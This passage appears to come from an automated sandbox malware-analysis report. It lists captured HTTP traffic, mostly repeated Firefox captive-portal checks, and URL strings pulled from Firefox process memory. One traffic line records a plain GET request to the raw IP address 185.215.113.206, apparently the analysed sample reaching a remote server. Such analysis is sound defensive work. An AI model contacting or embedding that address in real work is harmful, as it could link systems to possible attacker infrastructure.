Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3282438165.00000234EC04A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3282438165.00000234EC01A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3319814174.00000234ED271000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updateBoolean used to determine if the results defined in `exposureResults` should be shown in search results. Should be false for Control branch of an experiment.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://.adsafeprotected.com/services/pub://www.facebook.com/platform/impression.php://track.adform.net/Serving/TrackPoint/*--panel-banner-item-update-supported-bgcolor--panel-banner-item-info-icon-bgcolor{3A0012EB-007F-4BB8-AA81-A07385F77A25} equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3370312333.00000234EF533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3332058969.00000234EEB56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3370312333.00000234EF533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3332512214.00000234EEC7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3376721901.00000234EF6B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/addons/addon-manager-startup;1webcompat-reporter@mozilla.org.xpiFileUtils_closeSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/facebook.svg://pub.doubleverify.com/signals/pub.js://www.google-analytics.com/analytics.js://www.google-analytics.com/gtm/js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js*://imasdk.googleapis.com/js/sdkloader/ima3.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://.moatads.com//moatheader.js://www.googletagmanager.com/gtm.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://pagead2.googlesyndication.com/tag/js/gpt.js*://s.webtrends.com/js/webtrends.min.jsFEATURE_WEBRENDER_SCISSORED_CACHE_CLEARS equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/dom/slow-script-debug;1get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIFailed to listen. Listener already attached.devtools/client/framework/devtools@mozilla.org/uriloader/handler-service;1^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?get FIXUP_FLAG_FORCE_ALTERNATE_URIUnable to start devtools server on devtools.performance.popup.feature-flagWebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=file^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$JSON Viewer's onSave failed in startPersistenceFailed to listen. Callback argument missing.Failed to execute WebChannel callback:DevToolsStartup.jsm:handleDebuggerFlagreleaseDistinctSystemPrincipalLoaderNo callback set for this channel.browser.fixup.dns_first_for_single_words{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}devtools.debugger.remote-websocketresource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s{33d75835-722f-42c0-89cc-44f328e56a86}http://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/dbus-handler-app;1@mozilla.org/network/file-input-stream;1Scheme should be either http or httpsextractScheme/fixupChangedProtocol<resource://gre/modules/FileUtils.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/local-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjshttp://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this type{c6cf88b7-452e-47eb-bdc9-86e3561648ef}gecko.handlerService.defaultHandlersVersionresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjs_finalizeInternal/this._finalizePromise<http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsisDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1Can't invoke URIFixup in the content process_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/web-handler-app;1Must have a source and a callback@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumentFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of bytes must be specifiedpdfjs.previousHandler.alwaysAskBeforeHandling@mozilla.org/uriloader/handler-service;1VALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/uriloader/handler-service;1https://mail.yandex.ru/compose?mailto=%spdfjs.previousHandler.preferredActionresource://gre/modules/Integration.sys.mjs equals www.yahoo.com (Yahoo)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versiononcommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhiddenhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_off equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.3265218357.00000234EB3E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versiononcommand=secondarybuttoncommand,label=secondarybuttonlabel,accesskey=secondarybuttonaccesskey,hidden=secondarybuttonhidden,dropmarkerhiddenhttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/[{incognito:null, tabId:null, types:["sub_frame"], urls:["://trends.google.com/trends/embed"], windowId:null}, ["blocking", "requestHeaders"]]https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_off equals www.youtube.com (Youtube)
